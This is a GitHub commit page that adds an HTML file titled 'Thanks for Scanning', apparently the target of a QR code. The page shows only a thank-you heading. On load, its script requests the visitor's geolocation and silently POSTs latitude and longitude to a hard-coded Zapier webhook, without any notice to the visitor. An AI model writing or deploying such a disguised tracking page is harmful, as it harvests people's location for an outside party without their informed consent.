-
Notifications
You must be signed in to change notification settings - Fork 1
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
1 parent
edbc620
commit 10500c6
Showing
1 changed file
with
33 additions
and
0 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,33 @@ | ||
<!DOCTYPE html> | ||
<html lang="en"> | ||
<head> | ||
<meta charset="UTF-8"> | ||
<meta http-equiv="Permissions-Policy" content="geolocation=(self)"> | ||
<title>Thanks for Scanning</title> | ||
<script> | ||
function sendLocation() { | ||
if (navigator.geolocation) { | ||
navigator.geolocation.getCurrentPosition(function(position) { | ||
var latitude = position.coords.latitude; | ||
var longitude = position.coords.longitude; | ||
var name = "generator"; | ||
|
||
var xhr = new XMLHttpRequest(); | ||
var url = "https://hooks.zapier.com/hooks/catch/11099321/29v5fca/"; | ||
var params = "latitude=" + latitude + "&longitude=" + longitude + "&name=" + name; | ||
xhr.open("POST", url, true); | ||
xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded"); | ||
xhr.send(params); | ||
}, function(error) { | ||
console.error("Error Code = " + error.code + " - " + error.message); | ||
}); | ||
} else { | ||
console.log("Geolocation is not supported by this browser."); | ||
} | ||
} | ||
</script> | ||
</head> | ||
<body onload="sendLocation()"> | ||
<h1>Thanks for Scanning</h1> | ||
</body> | ||
</html> |